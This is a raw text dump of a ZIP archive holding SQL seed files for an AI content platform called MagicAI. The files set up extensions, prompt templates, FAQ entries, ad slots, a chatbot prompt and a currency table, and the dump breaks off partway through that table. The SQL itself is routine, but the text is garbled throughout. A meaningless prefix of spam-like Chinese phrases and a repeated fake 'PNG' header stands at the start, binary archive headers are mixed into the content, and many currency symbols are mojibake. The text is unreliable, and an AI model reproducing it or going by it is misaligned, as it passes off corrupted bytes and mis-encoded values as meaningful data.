多🌹444收拾收拾计算机视觉手机手机手机手机4大尺寸惆怅长岑长 ??????????????????????????С??????????????P??????????????????????????????????????????????????????^?????????? ????j?????????? ? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!? PNG ?%k25u25%fgd5n!PKJW]˜V]ç;; dev_tools/extensions/version.sqlnu„[µü¤UPDATE extensions SET version = 'v2' WHERE version is null;PKJW]@X¦RR(dev_tools/extensions/wordpress_price.sqlnu„[µü¤UPDATE `extensions` SET `price` = 39, `fake_price` = 0 WHERE `slug` = 'wordpress';PKJW]4é=z¬¬.dev_tools/extensions/wordpress_description.sqlnu„[µü¤UPDATE `extensions` SET `description` = 'Automate the entire process of generating and publishing articles directly to your WordPress platform.' WHERE `slug` = 'wordpress';PKJW]hÄ®.--%dev_tools/extensions/chat_setting.sqlnu„[µü¤INSERT INTO extensions ( version, slug, name, review, description, category, badge, zip_url, price_id, installed, created_at, updated_at, image_url, detail, licensed, price ) VALUES ( 'v2', 'chat-setting', 'Chatbot Setting & Training', 5, 'Effortlessly create, customize, and distribute captivating newsletters tailored to your specific marketing needs.', 'Chatbot, Training', ' ', 'zip_url', 'price_1Oh4fKHSne0x2LpETQzPBQCE', 0, '2024-02-20 07:22:50', '2024-03-06 12:17:00', 'https://api.liquid-themes.com/magicai/extensions/icons/chat-setting.png', '

Custom Chatbot Training (For End-Users)


This extension allows your users to train their custom chatbots with websites, PDFs or even text. Users can curate or provide training data that aligns with the desired persona. The ability to train custom chatbots with websites, PDF and custom text integration enriches the chatbot’s knowledge base and improves its ability to provide useful and contextually relevant responses to user inquiries. By extending the capability for users to train their custom chatbots with websites, PDFs, or even text, you’re providing them with a powerful tool to tailor their chatbot’s knowledge and capabilities to their specific needs.The chatbot’s underlying machine learning model is trained on this processed data, learning to understand and respond to user queries based on the content extracted from PDFs, texts and web links.

Extension Benefits Include:



Recommended Strategy for Admins:


This extension is entirely optional, although we highly recommend it for your users. You can utilize our advanced plan builder to distinguish this feature from basic plans and include it in the premium package. This strategy offers your users additional incentives to opt for the premium package if they wish to train their custom chatbots.', 1, 0 ); PKJW]¶–\º¢¢,dev_tools/extensions/webchat_description.sqlnu„[µü¤UPDATE `extensions` SET `description` = 'Engage in dynamic and insightful conversations directly within the context of related website.' WHERE `slug` = 'webchat';PKJW]–¼’00"dev_tools/extensions/wordpress.sqlnu„[µü¤INSERT INTO extensions ( version, slug, name, review, description, category, badge, zip_url, price_id, installed, created_at, updated_at, image_url, detail, licensed, price, fake_price ) VALUES ( 'v2', 'wordpress', 'Wordpress integration', 5, 'Wordpress integration.', 'Wordpress, Integration', ' ', 'zip_url', 'price_1Oh4fKHSne0x2LpETQzPBQCE', 0, '2024-02-20 07:22:50', '2024-03-06 12:17:00', 'https://api.liquid-themes.com/magicai/extensions/icons/wordpress.png', '

Experience unparalleled control over your content creation and publishing journey with MagicAI. With MagicAI’s revolutionary extension, convenience reaches new heights as we automate the entire process of generating and publishing articles directly to your WordPress platform.

Crafting SEO oriented blog posts is a breeze in MagicAI. But the magic doesn’t stop there – after you’ve perfected your article in MagicAI, our WordPress automation tool kicks into gear. Once you’ve generated your blog post in MagicAI, you can use this WordPress automation tool to push the content automatically to your WordPress website, ensuring a seamless publishing process.

Experience the freedom of focusing on what you do best – creating amazing content – while MagicAI handles the rest.

', 0, 29, 39 ); PKJW]ø—EhBhB%dev_tools/extensions/social_media.sqlnu„[µü¤INSERT INTO openai (user_id, title, description, slug, active, questions, image, premium, type, created_at, updated_at, prompt, custom_template, tone_of_voice, color, filters, package) VALUES -- AMA Post (NULL, 'AMA Post', 'Create engaging Ask Me Anything (AMA) posts to connect with your audience and share valuable insights.', 'ama_post', 1, '[{"name":"topic","type":"textarea","question":"Topic of the AMA","select":""},{"name":"your_name","type":"text","question":"Your Name","select":""},{"name":"key_points","type":"textarea","question":"Key Points to Discuss","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Write an engaging AMA post about **topic**. My name is **your_name**, and I will focus on discussing **key_points**.', 1, 0, '#FFB4B4', 'social_media', NULL), -- Newsletter (NULL, 'Newsletter', 'Craft professional newsletters to keep your audience informed and engaged.', 'newsletter', 1, '[{"name":"subject","type":"text","question":"Subject Line","select":""},{"name":"content","type":"textarea","question":"Main Content","select":""},{"name":"call_to_action","type":"text","question":"Call to Action","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Create a newsletter with the subject line **subject**. The main content is **content**, and include a call to action: **call_to_action**.', 1, 0, '#C2D6D6', 'business', NULL), -- Storytelling (NULL, 'Storytelling', 'Engage your audience with compelling storytelling that captivates and inspires.', 'storytelling', 1, '[{"name":"theme","type":"text","question":"Theme of the Story","select":""},{"name":"characters","type":"textarea","question":"Characters in the Story","select":""},{"name":"plot","type":"textarea","question":"Plot Summary","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Tell a captivating story with the theme **theme**. The characters are **characters**, and the plot summary is **plot**.', 1, 0, '#D6A3A3', 'creative', NULL), -- Trending Post (NULL, 'Trending Post', 'Create viral-worthy posts that resonate with current trends and capture attention.', 'trending_post', 1, '[{"name":"trend","type":"text","question":"Current Trend","select":""},{"name":"angle","type":"textarea","question":"Unique Angle","select":""},{"name":"hashtags","type":"text","question":"Relevant Hashtags","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Write a trending post about **trend**. Use the unique angle **angle** and include hashtags: **hashtags**.', 1, 0, '#F1C40F', 'social_media', NULL), -- Strategy (NULL, 'Strategy', 'Develop actionable strategies to achieve specific goals or solve problems effectively.', 'strategy', 1, '[{"name":"goal","type":"text","question":"Goal","select":""},{"name":"challenges","type":"textarea","question":"Challenges","select":""},{"name":"approach","type":"textarea","question":"Proposed Approach","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Develop a strategy to achieve the goal **goal**. Address the challenges **challenges** and propose the approach **approach**.', 1, 0, '#C2D6D6', 'business', NULL), -- Viral Ideas (NULL, 'Viral Ideas', 'Generate creative ideas designed to go viral and capture widespread attention.', 'viral_ideas', 1, '[{"name":"audience","type":"text","question":"Target Audience","select":""},{"name":"platform","type":"text","question":"Platform","select":""},{"name":"idea","type":"textarea","question":"Idea Description","select":""}]', ' ', 0, 'text', '2024-05-15 10:00:00', '2024-05-15 10:00:00', 'Generate a viral idea for the target audience **audience** on the platform **platform**. The idea description is **idea**.', 1, 0, '#FFB4B4', 'creative', NULL), -- Ad Script (NULL, 'Ad Script', 'Create compelling ad scripts to engage your audience and boost conversions.', 'ad_script', 1, '[{"name":"product_name","type":"text","question":"Product Name","select":""},{"name":"target_audience","type":"text","question":"Target Audience","select":""},{"name":"key_message","type":"textarea","question":"Key Message","select":""}]', ' ', 0, 'text', NOW(), NOW(), 'Write an engaging ad script for **product_name** targeting **target_audience**. The key message to highlight is **key_message**.', 1, 0, '#FF5733', 'advertising', NULL), -- Marketing Plan (NULL, 'Marketing Plan', 'Develop a structured marketing plan to grow your business and reach your target audience.', 'marketing_plan', 1, '[{"name":"business_name","type":"text","question":"Business Name","select":""},{"name":"target_market","type":"text","question":"Target Market","select":""},{"name":"marketing_goals","type":"textarea","question":"Marketing Goals","select":""}]', ' ', 0, 'text', NOW(), NOW(), 'Create a marketing plan for **business_name** targeting **target_market**. The primary marketing goals are **marketing_goals**.', 1, 0, '#3498DB', 'business', NULL), -- Video Script (NULL, 'Video Script', 'Write compelling video scripts for promotional, educational, or storytelling purposes.', 'video_script', 1, '[{"name":"video_topic","type":"text","question":"Video Topic","select":""},{"name":"intended_audience","type":"text","question":"Intended Audience","select":""},{"name":"key_talking_points","type":"textarea","question":"Key Talking Points","select":""}]', ' ', 0, 'text', NOW(), NOW(), 'Write a video script about **video_topic** for **intended_audience**. Key talking points to include: **key_talking_points**.', 1, 0, '#8E44AD', 'video', NULL); PKJW]¬ÊʱMM$dev_tools/extensions/ai_template.sqlnu„[µü¤INSERT INTO extensions ( version, slug, name, review, description, category, badge, zip_url, price_id, installed, created_at, updated_at, image_url, detail, licensed, price, fake_price ) VALUES ( 'v2', 'ai-template', 'Ai Template', 5, 'Ai Template.', 'Ai Template', ' ', 'zip_url', 'price_1Oh4fKHSne0x2LpETQzPBQCE', 0, '2024-02-20 07:22:50', '2024-03-06 12:17:00', 'https://api.liquid-themes.com/magicai/extensions/icons/ai-template.png', '

Ability to add custom templates and categories


This feature allows end users to customize and create AI Writer templates and categories tailored to their specific needs. Whether they require content for product descriptions, blog posts, email newsletters, or social media updates, they have the flexibility to generate custom templates for any of these purposes besides pre-defined admin templates.

The process of generating these templates is designed to be user-friendly and straightforward. Users can easily navigate through the interface to select the type of content they want to create, specify the format or structure they prefer, and customize any additional parameters to suit their preferences.

By offering this level of customization and ease of use, users can efficiently generate high-quality content across various platforms without the need for extensive manual input or specialized skills. This empowers them to streamline their content creation process and produce compelling, engaging content tailored to their unique requirements.', 1, 0, 0 ); PKJW]_+Ü66&dev_tools/extensions/cloudflare_r2.sqlnu„[µü¤INSERT INTO extensions (version, slug, name, review, description, category, badge, zip_url, price_id, installed, created_at, updated_at, image_url, detail, licensed, price, fake_price) VALUES ( 'v2', 'cloudflare-r2', 'Cloudflare R2', 5, 'Cloudflare r2 integration.', 'Secure, Flexible, Lightning-Fast', ' ', 'zip_url', 'price_1Oh4fKHSne0x2LpETQzPBQCE', 0, '2024-02-20 07:22:50', '2024-03-06 12:17:00', 'https://api.liquid-themes.com/magicai/extensions/icons/cloudflare-r2.png', 'With Cloudflare seamlessly integrated into MagicAI, you can trust that your files, documents, and sensitive data are stored securely in the cloud. As your business grows and your data needs expand, rest assured that different storage platforms can effortlessly handle increasing demands, thanks to Cloudflare’s scalable infrastructure. Experience enhanced security, lightning-fast performance, and limitless scalability with MagicAI & CloudFlare.', 0, 29, 39); PKJW]Ê¥Ü,çç/dev_tools/extensions/newsletter_description.sqlnu„[µü¤UPDATE `extensions` SET `description` = 'Effortlessly create, customize, and distribute captivating newsletters tailored to your specific marketing needs.', category = 'Bulk Email, Marketing, Customers' WHERE `slug` = 'newsletter';PKJW]4ÓPž¸¸2dev_tools/extensions/cloudflare_r2_description.sqlnu„[µü¤UPDATE `extensions` SET `description` = 'Experience enhanced security, lightning-fast performance, and limitless scalability with MagicAI & CloudFlare.' WHERE `slug` = 'cloudflare-r2';PKJW]Õȧ§1dev_tools/extensions/chat_setting_description.sqlnu„[µü¤UPDATE `extensions` SET `description` = 'Effortlessly train custom chatbots created by end users with websites, PDFs, Q&A or even text.' WHERE `slug` = 'chat-setting';PKJW]‚õ½VV,dev_tools/extensions/cloudflare_r2_price.sqlnu„[µü¤UPDATE `extensions` SET `price` = 39, `fake_price` = 0 WHERE `slug` = 'cloudflare-r2';PKJW]܇1Ìýýdev_tools/ai_rss.sqlnu„[µü¤INSERT INTO `openai` (`user_id`, `title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`, `package`) VALUES (NULL, 'AI RSS', 'Generate unique content with RSS Feed.', 'ai_rss', 1, '[{\"name\":\"rss_feed\",\"type\":\"rss_feed\",\"question\":\"URL\",\"select\":\"\"},{\"name\":\"title\",\"type\":\"select\",\"question\":\"Fetched Post Title\",\"select\":\"\"}]', '', 0, 'rss', '2024-02-22 19:43:17', '2024-04-01 11:17:54', NULL, 0, 0, '#FF9E4D', 'rss', NULL); PKJW]¶Hìt_ _ !dev_tools/frontend_generators.sqlnu„[µü¤INSERT INTO frontend_generators (menu_title, subtitle_one, subtitle_two, title, text, image, image_title, image_subtitle, color, created_at, updated_at) VALUES ('AI Text Generator', 'Say goodbye to writer''s block', 'AI', 'Intelligent Writing Assistant', 'Writer is designed to help you generate high-quality texts instantly, without breaking a sweat. With our intuitive interface and powerful features, you can easily edit, export, or publish your AI-generated result.', 'assets/img/site/text-generator.jpg', 'Generate, edit, export.', 'Powered by OpenAI.', '#EADDF9', '2023-06-02 15:33:09', '2023-06-02 15:33:09'), ('AI Image Generator', 'Unleash your creativity', 'AI', 'Create eye-catching images and graphics.', 'Generate high-quality images for a wide range of applications.', 'assets/img/site/image-generator.jpg', 'Imagine, Generate, Publish.', 'Powered by Dall-E.', '#DFE5EB', '2023-06-02 15:33:09', '2023-06-02 15:33:09'), ('AI Code Generator', 'The future of development', 'AI', 'Generate high-quality code in no time.', 'MagicAI is designed to make coding faster, easier, and more efficient than ever before. Whether you’re a seasoned developer or a coding newbie, our tool will help you streamline your coding process and get your projects up and running in no time.', 'assets/img/site/code-generator.jpg', 'Fix. Improve. Generate.', 'Powered by OpenAI.', '#DDE6FF', '2023-06-02 15:33:09', '2023-06-02 15:33:09'), ('AI Chat Bot', 'Intuitive / Humanlike Chatbot', 'AI', 'Meet your next virtual assistant.', 'Get instant answers to your questions, no matter the topic. Whether you’re looking to book a reservation, get product recommendations, or just chat about the weather, MagicAI is always ready and willing to help.', 'assets/img/site/ai-chat.jpg', 'Chat, Solve, Repeat.', 'Powered by OpenAI.', '#F9DDDF', '2023-06-02 15:33:09', '2023-06-02 15:33:09'), ('AI Speech To Text', 'Say goodbye to writer''s block', 'AI', 'Transcribe your speech into text.', 'Accurately transcribe your recordings in just minutes. With our user-friendly interface, you can upload your files and have them transcribed in a matter of clicks.', 'assets/img/site/ai-speech.jpg', 'Upload, Analyze, Generate.', 'Powered by OpenAI.', '#FFF8EB', '2023-06-02 15:33:09', '2023-06-02 15:33:09'), ('Empower Your Message with AI', 'Say goodbye to writer''s block', 'AI', 'Transcribe your speech into text.', 'From captivating commercials to engaging narrations, our AI voice will bring your words to life. With its seamless delivery, natural intonation, and unrivaled versatility, our AI VoiceOver is the perfect choice for any project. Effortlessly choose from a variety of voices and languages while adjusting the pace to your preference.', 'assets/img/site/voiceover.jpg', 'Upload, Analyze, Generate.', 'Powered by OpenAI.', '#FFF8EB', '2023-06-02 15:33:09', '2023-06-02 15:33:09'); PKJW]oøÔYßßdev_tools/ai_video.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI Video', 'Bring your static images to life and create visually compelling videos effortlessly.', 'ai_video', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'video', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'video'); PKJW]¼R/ÕÕdev_tools/ai_wizard.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI Article Wizard Generator', 'Create custom article instantly with our article wizard generator. Boost engagement and save time.', 'ai_article_wizard_generator', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog');PKJW]ªWŽ55dev_tools/ai_youtube.sqlnu„[µü¤insert into `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`, `updated_at`, `created_at`) values ('AI YouTube', 'Simply turn your Youtube videos into Blog post.', 'ai_youtube', '1', '[{"name":"url","type":"url","question":"YouTube Video URL","select":""}]', '', '0', 'youtube', '', '0', '0', '#FFB0B0', 'youtube', '2024-03-01 11:59:52', '2024-03-01 11:59:52')PKJW]ªŠÞ!dev_tools/frontend_who_is_for.sqlnu„[µü¤INSERT INTO `frontend_who_is_for` (`title`, `color`, `created_at`, `updated_at`) VALUES ('Digital Agencies', 'orange', '2023-06-02 13:16:34', '2023-06-02 10:38:34'), ('Product Designers', 'purple', '2023-06-02 13:16:34', '2023-06-02 13:16:34'), ('Enterpreneurs', 'teal', '2023-06-02 13:16:34', '2023-06-02 13:16:34'), ('Copywriters', 'blue', '2023-06-02 13:16:34', '2023-06-02 13:16:34'), ('Digital Marketers', 'green', '2023-06-02 13:16:34', '2023-06-02 13:16:34'), ('Developers', 'red', '2023-06-02 13:16:34', '2023-06-02 13:16:34'); PKJW]’IÍOdev_tools/ads.sqlnu„[µü¤INSERT INTO `ads` (`type`, `code`, `status`, `created_at`, `updated_at`) VALUES ('landing-header-section', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-features-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-templates-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-tools-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-how-it-works-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-testimonials-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-pricing-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'), ('landing-faq-section-728x90', '', 0, '2023-08-30 13:10:37', '2023-08-30 13:10:37'); PKJW]ƒf�®::!dev_tools/ai_filter_voiceover.sqlnu„[µü¤INSERT INTO `openai_filters` (`name`) VALUES ('voiceover')PKJW]‡¶œ„==dev_tools/ai_pdf2.sqlnu„[µü¤INSERT INTO `openai_chat_category` (`name`, `short_name`, `slug`, `description`, `role`, `human_name`, `helps_with`, `prompt_prefix`, `image`, `color`, `created_at`, `updated_at`, `chat_completions`) VALUES ('PdfAI', 'PI', 'ai_pdf', 'Image PDF Expert', 'PDF Expert', 'PDF AI', 'I can assist you with PDF or Images-related information or questions', 'As a Pdf AI,', 'assets/img/vision.png', '#EDBBBE', '2023-05-16 03:34:57', '2023-05-16 03:39:11', '[{"role": "system", "content": "You are a PDF AI assistant."}]');PKJW]ƒL"¸,,dev_tools/frontend_future.sqlnu„[µü¤INSERT INTO `frontend_future` (`title`, `description`, `image`, `created_at`, `updated_at`) VALUES ('AI Generator', 'Generate text, image, code, chat and even more with', ' \n \n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'), ('Advanced Dashboard', 'Access to valuable user insight, analytics and activity.', ' \n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'), ('Payment Gateways', 'Securely process credit card, debit card, or other methods.', ' \n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'), ('Multi-Lingual', 'Ability to understand and generate content in different languages', ' \n \n \n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'), ('Custom Templates', 'Add unlimited number of custom prompts for your customers.', ' \n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'), ('Support Platform', 'Access and manage your support tickets from your dashboard.', '\n \n ', '2023-06-02 15:32:56', '2023-06-02 15:32:56'); PKJW]œ‡ÈÅÅdev_tools/ai_filechat.sqlnu„[µü¤update openai set title = 'File Analyzer', description = 'Simply upload a file (PDF, CSV, .doc or .docx) and extract key insights or summarize the entire document.' WHERE slug='ai_pdf';PKJW]ˆ²~©dev_tools/howitworks.sqlnu„[µü¤INSERT INTO `howitworks` (`order`, `title`, `created_at`, `updated_at`) VALUES (1, 'Simply explain what your content is about and adjust settings according to your needs.', '2023-06-02 08:41:26', '2023-06-02 08:41:26'), (2, 'Simply input some basic information or keywords about your brand or product, and let our AI algorithms do the rest.', '2023-06-02 08:41:34', '2023-06-02 08:41:34'), (3, 'View, edit or export your result with a few clicks. And you’re done!', '2023-06-02 08:41:41', '2023-06-02 08:41:41'); PKJW]pv³€??dev_tools/chatbot.sqlnu„[µü¤INSERT INTO `chatbot` (`title`, `role`, `model`, `first_message`, `instructions`) VALUES ('Default', 'Support', 'gpt-3.5-turbo-16k', 'I am AI Assistant. How can I help you?', 'Your name is John Doe. Remember that you are an assistant who only gives information about wordpress and don''t give any other information.'); PKJW]ämÒ‘FFdev_tools/ai_vision.sqlnu„[µü¤INSERT INTO `openai` (`title`, `description`, `slug`, `active`, `questions`, `image`, `premium`, `type`, `created_at`, `updated_at`, `prompt`, `custom_template`, `tone_of_voice`, `color`, `filters`) VALUES ('AI Vision', 'Elevate your visual analytics with our AI Vision platform. Harness the power of machine learning for real-time image recognition and data insights. Enhance efficiency and decision-making.', 'ai_vision', 1, '[{\"name\":\"your_description\",\"type\":\"textarea\",\"question\":\"Description\",\"select\":\"\"}]', '', 0, 'text', '2023-09-20 08:26:49', '2023-09-20 08:26:49', NULL, 0, 0, '#A3D6C2', 'blog'); PKJW]·ËYWTTdev_tools/faq.sqlnu„[µü¤INSERT INTO faq (question, answer, image, created_at, updated_at) VALUES ('How does it generate responses?', 'MagicAI uses the most popular AI models such as GPT, Dall-E, Ada to create text, image, code and more within seconds. The process is simple. All you have to do is provide a topic or idea, and our AI-based generator will take care of the rest.', NULL, '2023-06-02 12:14:35', '2023-06-02 12:14:35'), ('Can I create templates or chat bots?', 'You can use pre-made templates and examples for various content types and industries to help you get started quickly. You can even create your own chatbot or custom prompt template for further customization.', NULL, '2023-06-02 12:15:43', '2023-06-02 12:15:43'), ('Should I buy regular or extended license?', 'If you plan to charge end users for the final product or service, you should buy the extended license in compliance with Envato’s terms of service, same as other projects: https://codecanyon.net/licenses/standard', NULL, '2023-06-02 12:16:02', '2023-06-02 12:16:02'), ('Can I translate the script into another language?', 'Yes! MagicAI''s multilingual capabilities apply to both content generation and dashboard language. You can easily translate it into other languages. A built-in translation tool is coming soon!', NULL, '2023-06-02 12:16:25', '2023-06-02 12:16:25'), ('Is there a mobile app for MagicAI?', 'MagicAI provides an almost native-app experience thanks to its mobile-first approach. The entire layout is responsive and works great on any device regardless of the size.', NULL, '2023-06-02 12:16:53', '2023-06-02 12:16:53'); PKJW]9©'�55dev_tools/ai_filter_rss.sqlnu„[µü¤INSERT INTO `openai_filters` (`name`) VALUES ('rss');PKJW]ÙåÐ……dev_tools/currency.sqlnu„[µü¤INSERT INTO `currencies` (`country`, `currency`, `code`, `symbol`,`thousand_separator`, `decimal_separator`) VALUES ('Albania', 'Leke', 'ALL', 'Lek', ',', '.'), ('America', 'Dollars', 'USD', '$', ',', '.'), ('Afghanistan', 'Afghanis', 'AFN', 'Ø‹', ',', '.'), ('Argentina', 'Pesos', 'ARS', '$', ',', '.'), ('Aruba', 'Guilders', 'AWG', 'Æ’', ',', '.'), ('Australia', 'Dollars', 'AUD', '$', ',', '.'), ('Azerbaijan', 'New Manats', 'AZN', 'ман', ',', '.'), ('Bahamas', 'Dollars', 'BSD', '$', ',', '.'), ('Barbados', 'Dollars', 'BBD', '$', ',', '.'), ('Belarus', 'Rubles', 'BYR', 'p.', ',', '.'), ('Belgium', 'Euro', 'EUR', '€', ',', '.'), ('Beliz', 'Dollars', 'BZD', 'BZ$', ',', '.'), ('Bermuda', 'Dollars', 'BMD', '$', ',', '.'), ('Bolivia', 'Bolivianos', 'BOB', '$b', ',', '.'), ('Bosnia and Herzegovina', 'Convertible Marka', 'BAM', 'KM', ',', '.'), ('Botswana', 'Pula''s', 'BWP', 'P', ',', '.'), ('Bulgaria', 'Leva', 'BGN', 'лв', ',', '.'), ('Brazil', 'Reais', 'BRL', 'R$', ',', '.'), ('Britain (United Kingdom)', 'Pounds', 'GBP', '£', ',', '.'), ('Brunei Darussalam', 'Dollars', 'BND', '$', ',', '.'), ('Cambodia', 'Riels', 'KHR', '៛', ',', '.'), ('Canada', 'Dollars', 'CAD', '$', ',', '.'), ('Cayman Islands', 'Dollars', 'KYD', '$', ',', '.'), ('Chile', 'Pesos', 'CLP', '$', ',', '.'), ('China', 'Yuan Renminbi', 'CNY', 'Â¥', ',', '.'), ('Colombia', 'Pesos', 'COP', '$', ',', '.'), ('Costa Rica', 'Colón', 'CRC', 'â‚¡', ',', '.'), ('Croatia', 'Kuna', 'HRK', 'kn', ',', '.'), ('Cuba', 'Pesos', 'CUP', '₱', ',', '.'), ('Cyprus', 'Euro', 'EUR', '€', ',', '.'), ('Czech Republic', 'Koruny', 'CZK', 'KÄ�', ',', '.'), ('Denmark', 'Kroner', 'DKK', 'kr', ',', '.'), ('Dominican Republic', 'Pesos', 'DOP ', 'RD$', ',', '.'), ('East Caribbean', 'Dollars', 'XCD', '$', ',', '.'), ('Egypt', 'Pounds', 'EGP', '£', ',', '.'), ('El Salvador', 'Colones', 'SVC', '$', ',', '.'), ('England (United Kingdom)', 'Pounds', 'GBP', '£', ',', '.'), ('Euro', 'Euro', 'EUR', '€', ',', '.'), ('Falkland Islands', 'Pounds', 'FKP', '£', ',', '.'), ('Fiji', 'Dollars', 'FJD', '$', ',', '.'), ('France', 'Euro', 'EUR', '€', ',', '.'), ('Ghana', 'Cedis', 'GHS', '¢', ',', '.'), ('Gibraltar', 'Pounds', 'GIP', '£', ',', '.'), ('Greece', 'Euro', 'EUR', '€', ',', '.'), ('Guatemala', 'Quetzales', 'GTQ', 'Q', ',', '.'), ('Guernsey', 'Pounds', 'GGP', '£', ',', '.'), ('Guyana', 'Dollars', 'GYD', '$', ',', '.'), ('Holland (Netherlands)', 'Euro', 'EUR', '€', ',', '.'), ('Honduras', 'Lempiras', 'HNL', 'L', ',', '.'), ('Hong Kong', 'Dollars', 'HKD', '$', ',', '.'), ('Hungary', 'Forint', 'HUF', 'Ft', ',', '.'), ('Iceland', 'Kronur', 'ISK', 'kr', ',', '.'), ('India', 'Rupees', 'INR', '₹', ',', '.'), ('Indonesia', 'Rupiahs', 'IDR', 'Rp', ',', '.'), ('Iran', 'Rials', 'IRR', 'ï·¼', ',', '.'), ('Ireland', 'Euro', 'EUR', '€', ',', '.'), ('Isle of Man', 'Pounds', 'IMP', '£', ',', '.'), ('Israel', 'New Shekels', 'ILS', '₪', ',', '.'), ('Italy', 'Euro', 'EUR', '€', ',', '.'), ('Jamaica', 'Dollars', 'JMD', 'J$', ',', '.'), ('Japan', 'Yen', 'JPY', 'Â¥', ',', '.'), ('Jersey', 'Pounds', 'JEP', '£', ',', '.'), ('Kazakhstan', 'Tenge', 'KZT', 'лв', ',', '.'), ('Korea (North)', 'Won', 'KPW', 'â‚©', ',', '.'), ('Korea (South)', 'Won', 'KRW', 'â‚©', ',', '.'), ('Kyrgyzstan', 'Soms', 'KGS', 'лв', ',', '.'), ('Laos', 'Kips', 'LAK', 'â‚­', ',', '.'), ('Latvia', 'Lati', 'LVL', 'Ls', ',', '.'), ('Lebanon', 'Pounds', 'LBP', '£', ',', '.'), ('Liberia', 'Dollars', 'LRD', '$', ',', '.'), ('Liechtenstein', 'Switzerland Francs', 'CHF', 'CHF', ',', '.'), ('Lithuania', 'Litai', 'LTL', 'Lt', ',', '.'), ('Luxembourg', 'Euro', 'EUR', '€', ',', '.'), ('Macedonia', 'Denars', 'MKD', 'ден', ',', '.'), ('Malaysia', 'Ringgits', 'MYR', 'RM', ',', '.'), ('Malta', 'Euro', 'EUR', '€', ',', '.'), ('Mauritius', 'Rupees', 'MUR', '₨', ',', '.'), ('Mexico', 'Pesos', 'MXN', '$', ',', '.'), ('Mongolia', 'Tugriks', 'MNT', 'â‚®', ',', '.'), ('Mozambique', 'Meticais', 'MZN', 'MT', ',', '.'), ('Namibia', 'Dollars', 'NAD', '$', ',', '.'), ('Nepal', 'Rupees', 'NPR', '₨', ',', '.'), ('Netherlands Antilles', 'Guilders', 'ANG', 'Æ’', ',', '.'), ('Netherlands', 'Euro', 'EUR', '€', ',', '.'), ('New Zealand', 'Dollars', 'NZD', '$', ',', '.'), ('Nicaragua', 'Cordobas', 'NIO', 'C$', ',', '.'), ('Nigeria', 'Nairas', 'NGN', '₦', ',', '.'), ('North Korea', 'Won', 'KPW', 'â‚©', ',', '.'), ('Norway', 'Krone', 'NOK', 'kr', ',', '.'), ('Oman', 'Rials', 'OMR', 'ï·¼', ',', '.'), ('Pakistan', 'Rupees', 'PKR', '₨', ',', '.'), ('Panama', 'Balboa', 'PAB', 'B/.', ',', '.'), ('Paraguay', 'Guarani', 'PYG', 'Gs', ',', '.'), ('Peru', 'Nuevos Soles', 'PEN', 'S/.', ',', '.'), ('Philippines', 'Pesos', 'PHP', 'Php', ',', '.'), ('Poland', 'Zlotych', 'PLN', 'zÅ‚', ',', '.'), ('Qatar', 'Rials', 'QAR', 'ï·¼', ',', '.'), ('Romania', 'New Lei', 'RON', 'lei', ',', '.'), ('Russia', 'Rubles', 'RUB', 'руб', ',', '.'), ('Saint Helena', 'Pounds', 'SHP', '£', ',', '.'), ('Saudi Arabia', 'Riyals', 'SAR', 'ï·¼', ',', '.'), ('Serbia', 'Dinars', 'RSD', 'Дин.', ',', '.'), ('Seychelles', 'Rupees', 'SCR', '₨', ',', '.'), ('Singapore', 'Dollars', 'SGD', '$', ',', '.'), ('Slovenia', 'Euro', 'EUR', '€', ',', '.'), ('Solomon Islands', 'Dollars', 'SBD', '$', ',', '.'), ('Somalia', 'Shillings', 'SOS', 'S', ',', '.'), ('South Africa', 'Rand', 'ZAR', 'R', ',', '.'), ('South Korea', 'Won', 'KRW', 'â‚©', ',', '.'), ('Spain', 'Euro', 'EUR', '€', ',', '.'), ('Sri Lanka', 'Rupees', 'LKR', '₨', ',', '.'), ('Sweden', 'Kronor', 'SEK', 'kr', ',', '.'), ('Switzerland', 'Francs', 'CHF', 'CHF', ',', '.'), ('Suriname', 'Dollars', 'SRD', '$', ',', '.'), ('Syria', 'Pounds', 'SYP', '£', ',', '.'), ('Taiwan', 'New Dollars', 'TWD', 'NT$', ',', '.'), ('Thailand', 'Baht', 'THB', '฿', ',', '.'), ('Trinidad and Tobago', 